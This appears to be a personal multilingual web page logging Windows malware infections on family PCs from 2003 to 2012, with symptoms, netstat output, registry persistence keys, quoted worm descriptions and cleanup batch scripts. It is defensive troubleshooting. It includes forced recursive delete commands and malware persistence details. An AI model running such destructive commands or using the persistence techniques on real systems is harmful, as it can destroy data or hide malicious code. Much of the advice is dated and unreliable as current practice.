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home / virus
(navigation links)
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The best attacks are when the code executes as the page loads,
rather than having an attacker click on a link,
so pay close attention to OnLoad() events.
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Consells
- mai fer servir Internet Explorer, Internet browser.
Use
Firefox,
Opera
or
Mozilla
- mai fer servir Outlook Express, Email client.
Use
Opera
or
Thunderbird
- mai fer servir el Messenger !
- fer servir un Tallafocs (Firewall), as
ZoneAlarm,
[6.1]
[6.0]
[5.5]
[5.5]
[4.5]
Atenció :
a l'apartat "Firewall", i solapa "Main",
en pulsar "Advanced", ens convé seleccionar :
- Block local servers :
prevents all programs on your computer from acting as servers
to the Trusted Zone. Note that this setting overrides
permissions granted in the Programs panel.
- Block Internet servers :
prevents all programs on your computer from acting as servers
to the Internet Zone. Note that this setting overrides
permissions granted in the Programs panel.
- fer servir un(s) vigilant(s), as
-
Fer servir la seqüència de CastleCops :
Malware Removal & Prevention [*****]
o
Secure XP [****]
-
Antivirus gratix :
[* mind T42 *]
-
Eines :
-
Symantec says :
Run all client software as a non-privileged user with minimal access rights.
Browsing the web as a low-privileged user will limit the consequences
of malicious code being executed.
-
Microsoft says :
"Running with an administrative account is dangerous to the health of your computer and your data."
Mes consells ( 2 move ! )
En Pep diu :
Jo faig servir l'avast com a antivirus, que és gratuït per a usuaris domèstics:
http://www.avast.com.
I com anti-spyware faig servir l'SpyBot:
http://www.safer-networking.org.
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PE_NIMDA.A-O
This is a fast-spreading Internet worm and file infector
in pure and original form.
It arrives as an embedded attachment, README.EXE file,
in an email that has an empty message body and,
usually, an empty subject field.
It does not require the email receiver to open the attachment for it to execute.
It uses a known vulnerability in Internet Explorer-based email clients
to execute the file attachment automatically.
This is also known as Automatic Execution of Embedded MIME type.
The infected email contains the executable attachment registered
as content-type of audio/x-wav so that when recipients view the infected email,
the default application associated with audio files is opened.
This is usually the Windows Media Player.
The embedded EXE file cannot be viewed in Microsoft Outlook.
Few dangerous pages
- 1
- 2
- 3
- 4
- 5
- Korea
-
- Deb
- ee*.exe
- JavaScript + IE + infected
.eml files
-
- www.cerials.net instala,
sota c:\Windows\Application Data",
el fitxer EEVBHECK.EXE.
Also, something was added to
HKLM -> Software -> Microsoft -> Windows -> Current Version -> Run
També si vas a
Cracks
-
Kliccami :
tot enllaç instala dial_243_IT.exe !!!
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Març 2003 : en Jordi té un virus
Els síntomes son :
- Nero diu "EXE has been modified" i no arrenca
- IE canvia de camps molt poc a poc
- no pot instalar Anti-Virus
Ha rebut un missatge dient que enviaba correus amb el virus
w32.klez@mm
Veure
qui es
Setembre 2004 : en Jordi té el Sasser
From
here :
Microsoft Windows contains a vulnerability that can allow an attacker to execute arbitrary code.
The vulnerability is due to a lack of bounds checking on messages
submitted to the Local Security Authority Subsystem Service (LSASS) service.
An attacker can supply a long argument using the LSASRV.DLL function DsRoleUpgradeDownlevelServer()
to create a carefully constructed message and cause an overflow,
which can result in arbitrary code execution.
Keyword(s): Sasser, Cycle, Korgo, Bobax
Fix : KB 835732
from
here
(04-011)
Dec-2004 : el Sebas el té al XP ...
uSoft
says to install security update KB835732, [2.647 KB]
from
here
Removal tool [KB841720] is
here [114 KB]
En Sebas té un virus : Octubre 2003
Amb la conexió commutada a Internet,
normalment es reben deu vegades mes dades que les que s'envien.
Al P4, des Octubre del 2003, vaig notar que s'enviaben mes dades
que se'n rebien. Mirant una mica millor, vaig veure que hi havia
un fluxe constant de uns 6.000 bytes per segon de sortida,
reflectits als comptadors de la icona de la conexió, sense que
jo estigués teclejant res.
Fent servir TCPview veig
( from
SysInternals, as RegMon )
+++ start of NETSTAT -AN +++
--- Protocol --- Local IP --------- Remote IP ---------- State ---
TCP 194.224.211.135:1666 194.224.75.25:135 TIME_WAIT
TCP 194.224.211.135:1708 194.224.93.5:135 TIME_WAIT
TCP 194.224.211.135:1715 194.224.93.35:135 TIME_WAIT
TCP 194.224.211.135:1716 194.224.93.36:135 TIME_WAIT
TCP 194.224.211.135:1719 194.224.94.2:135 TIME_WAIT
TCP 194.224.211.135:1720 194.224.94.5:135 TIME_WAIT
TCP 194.224.211.135:1721 194.224.94.6:135 TIME_WAIT
TCP 194.224.211.135:1723 194.224.94.17:135 TIME_WAIT
TCP 194.224.211.135:1724 194.224.94.31:135 TIME_WAIT
TCP 194.224.211.135:1726 194.224.94.37:135 TIME_WAIT
TCP 194.224.211.135:1727 194.224.94.38:135 TIME_WAIT
TCP 194.224.211.135:1728 194.224.94.39:135 TIME_WAIT
TCP 194.224.211.135:1729 194.224.94.40:135 TIME_WAIT
TCP 194.224.211.135:1730 194.224.94.41:135 TIME_WAIT
TCP 194.224.211.135:1735 194.224.94.46:135 TIME_WAIT
TCP 194.224.211.135:1736 194.224.94.47:135 TIME_WAIT
TCP 194.224.211.135:1737 194.224.94.48:135 TIME_WAIT
TCP 194.224.211.135:1738 194.224.94.49:135 TIME_WAIT
TCP 194.224.211.135:1739 194.224.94.50:135 TIME_WAIT
TCP 194.224.211.135:1740 194.224.94.51:135 TIME_WAIT
TCP 194.224.211.135:1741 194.224.94.53:135 TIME_WAIT
TCP 194.224.211.135:1742 194.224.94.54:135 TIME_WAIT
TCP 194.224.211.135:1743 194.224.94.55:135 TIME_WAIT
TCP 194.224.211.135:1744 194.224.94.56:135 TIME_WAIT
TCP 194.224.211.135:1745 194.224.94.57:135 TIME_WAIT
TCP 194.224.211.135:1746 194.224.94.58:135 TIME_WAIT
TCP 194.224.211.135:1747 194.224.94.59:135 TIME_WAIT
TCP 194.224.211.135:1883 194.224.125.14:135 TIME_WAIT
TCP 194.224.211.135:1898 194.224.126.142:135 TIME_WAIT
TCP 194.224.211.135:1964 194.224.132.41:135 TIME_WAIT
TCP 194.224.211.135:2015 194.224.135.1:135 TIME_WAIT
TCP 194.224.211.135:2017 194.224.135.3:135 SYN_SENT
TCP 194.224.211.135:2018 194.224.136.8:135 SYN_SENT
TCP 194.224.211.135:2019 194.224.136.40:135 SYN_SENT
TCP 194.224.211.135:2020 194.224.136.41:135 SYN_SENT
--- end of NETSTAT -AN ---
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A
Google diuen que
Yes, a virus; most likely some Blaster variant.
Read Symantec about
W32.Blaster.Worm :
W32.Blaster.Worm exploits the DCOM RPC vulnerability,
as described in uS Security Bulletin MS03-026.
This worm attempts to download the MSBLAST.EXE file
to the %WinDir%\system32 directory and then execute it.
And
uSoft.
Mirant "Task Manager" abans i després es veu que apareix SVCHOST.EXE :
atiptaxx.exe
carpserv.exe
CSRSS.EXE
DLLHOST.EXE
explorer.exe
imonnt.exe
imontray.exe
internat.exe
LSASS.EXE
mstast.exe
NTVDM.EXE
regsvc.exe
SERVICES.EXE
SMSS.EXE
SMTray.exe
spoolsv.exe
svchost.exe
svchost.exe
svchost.exe
System
System Idle Process
taskmgr.exe
WINLOGON.EXE
WinMgmt.exe
WlanMonitor.exe
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Buscant per tot el disc,
descobreixo un punt interessant :
D:\>dir svchost.exe /s
Volume in drive D is W2K
Volume Serial Number is E82F-148F
Directory of D:\WINNT\system32
06/12/1999 14:00 7.952 svchost.exe
1 File(s) 7.952 bytes
Directory of D:\WINNT\system32\dllcache
06/12/1999 14:00 7.952 svchost.exe
1 File(s) 7.952 bytes
Directory of D:\WINNT\system32\wins
03/09/2003 23:43 19.728 SVCHOST.EXE
1 File(s) 19.728 bytes
Total Files Listed:
3 File(s) 35.632 bytes
0 Dir(s) 558.993.408 bytes free
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I el "SVCHOST.EXE" del directori "WINS" s'identifica
(mitjançant "STRINGS") com
"TCP/IP Trivial File Transfer Protocol"
El W2K WS porta (Start + Help + Index) "Network Monitor driver".
S'instala com a "Protocol" de "Microsoft".
Però ... cal un "Network Monitor"del W2K Server per veure les dades ...
"If you are running Windows˙2000 Server,
you can use Network Monitor to display and analyze
the information you collect with the Network Monitor Driver."
Avui vaig a posar un FireWall :
ZoneAlarm :
zlsSetup_45_538.exe [4,8 MB]
o
zlsSetup_45_538_001.exe
o
zlsSetup_55_062_004.exe
From here :
[4,8 MB]
Thanks
Ramon Milà
De seguida m'avisa que DLLHOST.EXE es el virus
Welchia/Nachi, i efectivament tinc
\WINS\DLLHOST.EXE i \WINS\SVCHOST.EXE
La millor explicació l'he trobat
aquí.
Instala los siguientes servicios :
- RpcPatch, para ejecutar la copia del gusano (DLLHOST.EXE).
Nombre de servicio: "WINS Client"
- RpcTftpd, para ejecutar SVCHOST.EXE.
Nombre de servicio: "Network Connections Sharing"
http://www.sophos.com/support/disinfection/nachia.html says :
W32/Nachi-A relies upon two vulnerabilities in Microsoft's software.
Sophos recommends that users ensure their computers are patched against
these vulnerabilities. The two patches have been available from Microsoft
since March and July 2003 respectively.
For more information on the vulnerabilities and to download the patches
please visit Microsoft's website at the following urls:
www.microsoft.com/technet/security/bulletin/MS03-026.asp
www.microsoft.com/technet/security/bulletin/MS03-007.asp
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Conclusió : use a Firewall !
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En Sebas té un SpyWare : fsg_4104.exe, Novembre 2003
En
Ramón Milà
em diu que es un Gator SpyWare.
Get
SpyBot
Search & Destroy ? [3,5 MB, free]
*** do it ! ***
See
PestPatrol
elements : Key Loggers, RATs (Remote Administration Trojans),
SpyWare, Trojans, Worms, etc.
Aqui
diu
A spyware installed with common application
such as the file sharing software iMesh.
This process should be removed to ensure your personal privacy.
Here
is a Scanner + Remover
En Chicho té un Adware : msa64chk.dll, Març 2004
Best
description.
REGSVR32 /u msa64chk.dll and REGSVR32 /u msapasrc.dll + reboot
Corro el PestScan al T30 i trobo :
- ShopNav - hijacker ( c:\Program Files \srng )
- Wurldmedia - hijacker ( hkey_classes\tchk.tchkbho )
- Superbar - adware
- ShopNavSearch.Srng - hijacker
- NCase - hijacker
- Kazoom - P2P
- Gigatech Superbar - adware
- eBates MoneyMaker - adware
- DownloadWare - adware
- BDHelper - adware
- BargainBuddy - adware
- Alexa - exploit
- WindowsMedia - spyware cookie
- AtlasDMT.com - spyware cookie
Virus al T30
2004
Starting May 3-rd 2004, in Portugal but in IBMs Intranet,
my W2K crashes LSASS.EXE every 2-3 hours.
In "My PC"\HKLM\Software\Microsoft\Windows\CurrentVersion\Run comes up :
c:\winnt\system32\THLNTSESS.EXE, that requests a way to Internet (Zone Alarm says).
There was also a IIC21.EXE file in
C:\Documents and Settings\SP87026\Local Settings\Temp
See
F:\MISCOSAS\vir\2004May
Solució : install windows2000-kb835732-x86-enu.exe
T30 al 2005
09/09/2005 el T30 (sense ZoneAlarm 15 minuts) em diu
The system process c:\winnt\system32\services.exe
has terminated unexpectedly with rc=128
URL - This issue may occur if there are incorrect references to shared folders
Mark
Symantec (13/09/2005) em troba
c:\winnt\system32\FCMIXC.EXE i l'esborra.
Diu que es w32.IRCBot ...
w32.IRCBot :
When a vulnerable system is found, it uses a buffer overflow to write the worm file
to that machine via a TFTP upload on port 8594.
w32.IRCBot.B attempts to connect to the IRC server, itc.ourmoney.pp.ruz,
using TCP port 31337.
14/09/2005 el T30 (sense ZoneAlarm 15 minuts) + Symantec em troba
c:\winnt\system32\GECB.EXE i l'esborra.
Diu que es w32.SpyBot.Worm ...
21/09/2005 el T30 (sense ZoneAlarm 15 minuts) em diu
The system process c:\winnt\system32\services.exe
has terminated unexpectedly with rc=128
13/10/2005 el T30 (sense ZoneAlarm 15 minuts) repeteix "status code 128".
Crec que s'hauria de aplicar
MS05-039 ...
pero requereix SP4 !
Aquí
diu el mateix [ MS05-039 - KB899588 ]
Sembla que es el virus
Zotob
Els problemes d'en Xavi, Septembre 2004
Al Setembre 2004,
en
Xavi
es desperta amb un PC "infectat" ...
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- Tinc un "troyano" (avisat per Telefonica) : netsky@mm
- M'ha desaparegut el IE, el Netscape
- Se m'ha instal.lat una barra d'eines de "Yaia.com" al Internet Explorer ...
HKCU/Software/Microsoft/Internet Explorer/Toolbar
Get tools listed in
www.forosdelweb.com/showthread.php?t=197669
|
Abans de formatejar el disc dur, s'ha de :
- guardar el correu rebut i enviat
- guardar les adreces de correu
- guardar els marcadors dels navegadors
- guardar les dades privades
- guardar els programes "especials" i/o les seves dades
Per exemple, les llicencies de ContaPlus o FacturaPlus i les seves dades.
- obtenir un CD (botable) del nou S.O. a instalar
- obtenir els drivers dels periferics pel nou S.O. [ADSL, printer]
Els problemes d'en Josep, Septembre 2004
Al Setembre 2004, en
Josep Montmany
diu que té un
DROPPER.DELF.DV
dins el
MSSYS.EXE
sota XP.
Al registre hi ha un NWIZ.EXE ... (???)
Probar el "SysClean" de TREND ...
URL and
ReadMe
Els problemes d'en Jordi, Desembre 2004
Al Desembre 2004, en
Jordi Espinal
em diu que la Mireia te damunt l'escriptori unes icones que
no es poden esborrar, cal no tenen "Propietats" ...
Website Hosting, Bingo, Casino Online, Printer Cartridges, Card Games, Poker, Travel
Akí diuen :
|
The Trojan may register some of the retrieved files to load at Windows
startup by adding entries into the registry such as these examples -
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
"thunkburn" = %path%\Owns This Vc.exe
HKEY_CLASSES_ROOT\CLSID\{%unique CLSID%}
"64535DBE" = 2C0411726CB7B446F792
HKEY_CLASSES_ROOT\CLSID\{%unique CLSID%}\InprocServer32\
"(Default)" = %path%\Drive bin.exe
"ThreadingModel" = Apartment
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"DeleteDefySendRoad" = %path%\Thunkfilm.exe
In one "nice" aspect, at least one of the downloaded files has
an uninstall routine which can be accessed
by the "Add/Remove Software" applet from the control panel -
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Uninstall\64 slow user\
"DisplayName" = Search Plugin
"UninstallString" = %path%\Owns This Vc.exe -uninstall
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Caused by Messenger Plus
Solució :
http://windowsxp.mvps.org/toolbarcop.htm
or
http://lop.com/new_uninstall.exe [***]
O fer servir Start > Run > MSCONFIG
Look in the Startup tab ...
Uncheck and Restart ...
Telefonica DNS's :
80.58.0.33 and 80.58.32.97
En Sebas té TEEKIDS.EXE, Gener 2005
Jo diria que esta associat al Opera : he estat navegant molta estona
amb el Firefox, i res.
En un moment donat, obro el Opera, i s'engega el "Shutdown".
L'aturo, pero el tallafocs engantxa la sortida del teekids.exe,
que està situat a c:\windows\system32
i al registre !
VsanVirus diu :
Vulnerabilidad RPC/DCOM: MS03-026
y "filtrar con un cortafuegos los siguientes puertos : udp/135, udp/137, udp/138,
tcp/135, tcp/445, tcp/593, tcp/69, udp/69".
Per un de similar,
diu :
La falla en el componente LSASS (MS04-011),
usada también por gusanos como Sasser, Cycle, Bobax, Korgo, etc.,
permite infectar equipos con Windows XP y 2000
sin el parche correspondiente instalado, - 835732 -,
por el simple hecho de conectarse estos a Internet,
no siendo necesaria la ejecución de ningún archivo o adjunto
que involucre acción alguna por parte del usuario.
La segunda (MS03-026),
es la misma falla de la que se aprovecha el Lovsan (Blaster) y otros.
Utiliza el puerto TCP/135.
La falla se produce por un desbordamiento de búfer en la
interfase RPC (Remote Procedure Call) que permite la ejecución
arbitraria de código.
El parche existe desde julio de 2003.
( 03-039 : 824146 )
La tercera (MS03-001),
cuyo parche está disponible desde enero de 2003, - 810833 -,
es explotada a través del puerto TCP/445.
La falla ocurre en el sistema localizador RPC (Remote Procedure Call).
TEEKIDS.EXE - es el gusano
ROOT32.EXE - troyano tipo backdoor
www.microsoft.com/technet/security/bulletin/MS03-026.asp
www.microsoft.com/technet/security/bulletin/MS04-011.mspx
Feb 2007, Airis (Nicolau) : W32/MSNVB-D worm
Today, I've catched (ZoneAlarm)
ttt.exe, zap.exe, hide.exe, avconsol.exe
trying to connect to 72.14.207.95
url
Files : (hidden ?)
<Windows>\Avconsol.exe
<Windows>\Zap.exe
<System>\Hide32.exe
<System>\Ttt.exe
Registry : (HKCU!)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Nom : WinService Contingut : <System>\Ttt.exe
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Nom : AVantivirus Contingut : <Windows>\Avconsol.exe
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Nom : System Contingut : <Windows>\Zap.exe
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Nom : Servicewin Contingut : <System>\Hide32.exe
HKCU\Software\VB and VBA Program Settings\Form1\TextBox
Mar 2007, Marta Planell : Brontok
-
Millor
descripció,
una
altra.
-
Registry keys :
-
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools := 1 ;
-
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WinLogon\Shell\EKSPLORASI.exe (afegit a explorer.exe)
-
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions := 1 ;
-
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD := 0 ;
-
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden := 0 ;
-
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt := 1 ;
-
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden := 0 ;
-
HKLM\Software\Microsoft\Windows\Current Version\Run\Bron-Spizaetus\
-
c:\windows\ShellNew\sempalong.exe
-
c:\Documents and Settings\Lourdes\Configuracion Local\Datos\SMSS.exe
-
Task : <Windows>\Tasks\At1.job
-
Remove W32/Brontok using
Sophos
Nov 2007, Xavi : Trojan Mailskinner
Nov 2007, P4 : WAQ.EXE
- que es ?
- use Hijack This !
Feb 2008, Nico
-
HighJackThis : 10D4.tmp ...
Trojan.Small.ga : Cleaned with backup
-
s'intenten conectar diversos .tmp de
c:\Windows\Temp
c:\Documents and Settings\user\Local Settings\Temp
-
el WDLRSS.EXE
s'intenta conectar a 208.53.161.108,
que segons nslookup és optnation.com,
que en realitat és
http://www.unuiihee.com/remove
-
A w\s32\ hi ha amb atributs SHR :
A8659658C.SYS
WDLRSS.EXE 235.520
WRMSS.EXE 145.016
WRMSS32.EXE 141.944
-
al cap de 1/2 hora, apareixen
WMSNL.EXE 150.136 c:\windows\system32 SHR
58AD.TMP 104.960 c:\windows\temp
-
Ad-Aware diu
- Win32.Generic.Worm
- Win32.Worm.Blaster
I em troba :
c:\Program Files\Common\Yazzle14610inAdmin.exe SHR
c:\Documents and Settings\Irina\My Documents\My Received Files\myspaceimage.zip Win32.Generic.Worn
-
em surt un "Confirm File Rename" nou ... molt sospitós !
Crec que es el propi de dins "c:\windows\system32"
-
al cap de 1/2 hora, apareixen a c:\windows\temp :
E501.TMP 104.960
WUMSS32_000.tmp 90.232
que es vol conectar a 85.17.201.65
-
al registre hi trobo el llançament de WMSNL.EXE,
que es re-instala en engenar l'ordinador.
Intenta conectar-se a 72.22.71.55
-
al registre hi ha :
[EPSON Stylus Photo R280 Series]
c:\windows\system32\spool\drivers\W32X86\3\E_FATICKA.EXE /FU
"c:\windows\temp\E_S93.TMP" /EF "HKCU"
-
al registre hi ha un LSASS.EXE fals :
aquest es troba a \win\system (sense "32")
-
a la rel del disc C: hi ha ASHJE.EXE !
-
a \windows\ hi ha IMAGES.zip i IMG-0012.zip !
MATAR.CMD :
del c:\windows\system32\WMSNL.EXE
del c:\windows\system\LSASS.EXE
del c:\windows\*.zip
del c:\windows\temp\*.TMP
del c:\Documents And Settings\Arcadi\Local Settings\Temporary Internet Files\Content.IE5 *.* /s /q
del c:\Documents And Settings\Irina\Local Settings\Temporary Internet Files\Content.IE5 *.* /s /q
del c:\Documents And Settings\Nicolau\Local Settings\Temporary Internet Files\Content.IE5 *.* /s /q
del c:\Documents And Settings\Karme\Local Settings\Temporary Internet Files\Content.IE5 *.* /s /q
del c:\Documents And Settings\Sebastia\Local Settings\Temporary Internet Files\Content.IE5 *.* /s /q
Conclusió : hi havia 3 virus.
- c:\windows\temp\E_S93.tmp
- c:\windows\system\LSASS.exe
- alguna cosa més, relacionada amb el MSN Gaming Zone
Solució :
Trobo a
c:\windows\temp un fitxer bloquejat : ZLT022fd.TMP !
És de ZoneAlarm, vsmon.exe ...
Al engegar, un CMD line fa quelcom ... (2 finestres)
Persegueixo el virus amb el Filemon dins el Startup.
Vull saber qui escriu el fitxer a c:\windows\temp !
Després de que NAV ni Gmail es queixessin dels fitxers A1FF.TMP,
he instalat KAV 7.0.1.325 i, curiosament, em demana de treure Zone Alarm !
De seguida troba el troyano CRYPTS.DLL, i l'esborra.
I màgicament desapareix
un WinLogon que escoltava a 127.0.0.1:1025 (TCPview).
REGMON.LOG, line 5613150: regedit.exe:3484 QueryValue
HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Notify\crypt\DLLName SUCCESS "crypts.dll"
Drops the following files in the Windows directory:
scins.exe, winserv.exe, fierms.exe, and madopew.dll.
url
* %WINDIR%\SYSTEM32\crypts.dll (29,696 bytes)
The files are internally compressed with UPX packer.
The downloader uses Winlogon notification packages
as registered DLLs that the Winlogon process loads at startup.
url
Explicació del mecanisme :
Winlogon Notification Packages
The filename CRYPTS.DLL was first seen on Sep 13 2007 in SPAIN.
The unsafe files using this name
are associated with the malware group TROJAN.SOBAR
Added as a Winlogon Notification DLL to automatically load on system start up.
url
Troj/Agent-GJR Trojan
url
20080223 : Kaspersky segueix treballant :
- c:\01-29.exe = Trojan-Clicker.Win32.Agent
- c:\16.exe = virus Heur.Invader
- c:\abbjah.exe = Backdoor.Win32.SdBot.cud
- c:\ashje.exe = virus Heur.Backdoor.Generic
- c:\sk.exe = Backdoor.Win32.Agent.ekc
- c:\updateu23.exe = Backdoor.IRCBoot.blq
- c:\windows\system32\crypts.dll//PE_Patch.UPX//UPX
- c:\windows\Avconsol.exe//PE_patch.UPX//UPX
- c:\windows\images.zip/IMG34814.pif
- c:\windows\IMG-0012.zip/img0012-www.photostorage.com
- c:\windows\winset99.dll
- c:\windows\winsys99.dll
- c:\windows\Zap.exe//PE_Patch.UPX//UPX
- c:\windows\system32\Hide32.exe//PE_Patch.UPX//UPX
- c:\windows\system32\TeeKids.exe
- c:\windows\system32\TTT.exe//PE_Patch.UPX//UPX
- c:\windows\system32\WAQ.exe
- c:\windows\system32\wdllrss.exe//PE_Patch//NTKml
- c:\windows\system32\wmsnl.exe
- c:\windows\system32\wrmss.exe
- c:\windows\system32\wrmss32.exe
- c:\windows\system32\wumss.exe
- c:\Documents and Settings\Nicolau.PX4\application data\WINUP39.DLL
- c:\Documents and Settings\Nicolau.PX4\application data\WINNT63.DLL
- c:\Documents and Settings\Arcadi\Local Settings\Temp\wintool99.dll
- c:\Documents and Settings\Arcadi\Temporary Internet Files\wincsv5.dll
- c:\Documents and Settings\Irina\Application Data\WINNT99.DLL
- c:\Documents and Settings\Irina\Local Settings\Temp\eraseme_55141.exe
- c:\Documents and Settings\Irina\Local Settings\Temp\WINDSK99.DLL
- c:\Documents and Settings\Irina\Local Settings\Temp\Temporary Internet Files\Content.IE5\0LM341UR\u2_3[1].jpg
- c:\Documents and Settings\Irina\Local Settings\Temp\Temporary Internet Files\Content.IE5\2LMWL1WL\f2be97aebb[1].jpg
- c:\Documents and Settings\Irina\Local Settings\Temp\Temporary Internet Files\WINCSV99.DLL
- c:\Documents and Settings\Irina\My Documents\My Received Files\IMG-0012.zi\img0012-www.photostorege.com
- c:\Documents and Settings\Irina\My Documents\My Received Files\myspaceimage.zi\image_519.jpeg-irina_altemir@hotmail.com
- c:\Documents and Settings\Carme\Application Data\WINNT99.DLL
Maig 2008, P4
Solució : posar AVG.
Se'm menja la conexió a Internet
conectant el Explorer a
66.186.63.188:7000 = "CUSTOMER.VPLS.NET"
El trec.
Lista de troyanos por puerto:
port 7000 Exploit Translation Server, Kazimas, Remote Grab, SubSeven, SubSeven 2.1 Gold
Ccleaner, en engegar, també vol anar a 66.186.63.188 ...
Solució : posar Avast.
Ara el Microchoft Explorer es vol conectar a
67.198.204.18:1863 = "CUSTOMER.VPLS.NET"
El filtro amb el ZoneAlarm.
sfc /scannow = verify that all protected files are intact
ShellExView = identifica dll's y procesos que corren en el shell (explorer.exe)
(remote, net scan)
Symantec 9.0.5.1000, ki := 'symantec' !
El explorer.exe peta amb el missatge
"setting up personalized settings for c:\recyclers\"
Al disc "D:\" hi ha
D:\RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013
i a dintre hi ha ISE32.exe de 14.336 bytes !
Solució :
URL
@echo off
title Malware Removal Tool ;) - By Smartgenius
color 0a
taskkill /f /im explorer.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 1 /f
ping -n 2 0.0.0.0 > nul
c:
cd c:\
attrib -r -s -h
RMDIR /S /Q RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013
del /f %windir%\Prefetch\ISE32.EXE-34CFE4CB.pf
del /f %windir%\Prefetch\ISE32.EXE-273EA8B7.pf
del /f %windir%\Prefetch\ISEE.EXE-05DD3401.pf
D:
cd d:\
attrib -r -s -h
del /f autorun.inf
RMDIR /S /Q RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013
explorer
msg /w * Gracias por usar este soft
exit
Cheers, SmartGenius !
Abril 2009, CMI has TWEXT.exe
Follow these steps :
- Deshabilitar restauración del sistema
Windows XP
- En el panel de Inicio pulse sobre "Mi PC"
- Haga clic en "Ver información del sistema"
- Seleccione la etiqueta "Restaurar sistema"
- Marque la casilla "Desactivar Restaurar sistema en todas las unidades" y pulse en "Aplicar".
- El sistema le preguntará si está seguro de querer deshabilitarlo.
Confírmelo pulsando en SÍ.
- La opción que muestra el estado de los discos en la ventana "Configuración de la unidad"
aparecerá deshabilitada (todo gris). Pulse en el botón Aceptar.
- Reinicie su ordenador en Modo Seguro o Modo a Prueba de Fallos.
Windows Vista/XP/2000.
Presione la tecla F8 después de los mensajes de autodiagnóstico (POST) de la placa base.
Dependiendo de la configuración puede que aparezca el mensaje "presione F8 para menú de inicio"
durante una pausa de 2 segundos.
En caso contrario, presione F8 repetidadmente mientras arranca el PC
hasta que aparezca el menú de inicio,
y elija "Modo seguro" o "Modo a prueba de fallos".
- borrar c:\windows\system32\twext.exe
url
Use autoruns.exe.
Desembre 2009, TCS has A0060612.exeT.exe
- Eliminar puntos de restauracion
- Propietats del sistema + Restaurar el sistema + quitar
- pasar AVG de nuevo
- Poner "Restaurar sistema de nuevo"
- quitar hiberfil.sys
- Click en Inicio > Panel de Control
- Doble click en Opciones de Energia
- Click en la pestańa Hibernacion, desmarca la casilla de seleccion de "Habilitar hibernacion" y click en Aplicar, luego Aceptar.
- Ahora reinicia el computador, o antes, el archivo será automaticamente eliminado
- Finalizar el proceso del explorador (explorer.exe):
- Eliminar carpeta en "c:\Recycler"
- Limpiar registro
taskkill /f /im explorer.exe
attrib -h -r -s S-1-5-21-1482476501-1644491937-682003330-1013
del S-1-5-21-1482476501-1644491937-682003330-1013
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{08B0E5C0-4FCB-11CF-AAX5-90401C608512}\
StubPath = “C:RECYCLERS-1-5-21-1482476501-1644491937-682003330-1013ise.exe”
Novembre 2010, Nicolau has cleansweep.exe
Double accent virus (Notepad, Firefox) :
h:\cleansweep.exe\cleansweep.exe
Març 2011, TCS@Dipu has PINK SLIP BOT
Pending to investigate ...
Març 2011, SAG T400 goes Stand By
Installing all updates ...
"Updates could not be installed" :
c:\WINDOWS\system32\CatRoot2\edb.log -> delete EDB.LOG and/or rename CatRoot2 folder.
c:\windows\Windowsupdate.log ;
Març 2011, K#1
W32.downadup
VKPN[1].JPG @ c:\Documents and Settings\NetworkService\Local Settings\Temporary Internet Files
c:\windows\system32\X
Solució : MS08-067 = KB958644 ;
Abril 2012, Angel te un Ukash
El archivo malware se llama mahmud.exe y se instala en
C:\Documents and Settings\Nombre de usuario\AppData\Roaming\
Regedit : locate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Find the registry key named Shell.
Should be something like C:\Documents and Settings\username\desktop\VIRUS INFO.exe,
located after "Explorer.exe"
En engegar la maquina, un RUNDLL32 activa
c:\Documents and Settings\RAFI\Local Settings\temp\WPBT0.DLL
Maig 2012, Lourdes i net.exe
Symptoms:
- msiexec.exe started 2 times every minute
- net.exe started 4 times every minute
- net.exe wants to stop Norton Ghost service
Solucio :
- HijackThis
- un-install Norton Ghost
- use MalwareBytes
Uninstall Norton Ghost with the Norton Removal Tool.
- Double click your Malwarebytes desktop icon
- Click the UPDATE tab at the top
- Scan for and install any updates it finds
- Then choose the SCANNER tab and run a QUICK SCAN
- Once finished if MBAM found anything please click Show Results
- Make sure EVERYTHING has a check in the box next to it and then click Remove Selected
- Post the MBAM log results back to this thread
Registre
Vigilar :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\WinLogon\
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\WinLogon\Shell
Explorer.exe
-
En el SYSTEM.INI,
modifica la línea de ejecución del Explorer.exe
para que también ejecute otra copia del gusano llamada temp.exe:
[boot]
shell = explorer.exe temp.exe
In Register, it corresponds to
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
-
UPD.exe drops a DLL to %Temp%\<Filename>.tmp,
where <Filename> is a combination of two random letters
appended by two random numbers (for example: AF74.tmp).
Spabot then injects this DLL into the Explorer.exe process.
url
-
Attempts to inject a function into Explorer.exe as a thread.
If successful, this threat will continue to run in the Explorer.exe process.
All the actions that the Trojan performs
will appear to be done by Explorer.exe,
and the threat will not show when viewing the process list
in the Windows Task Manager.
url
-
Three Ways to Inject Your Code into Another Process :
url
Delete MSN Gaming Zone
El directori c:\Program Files\MSN Gaming Zone\Windows
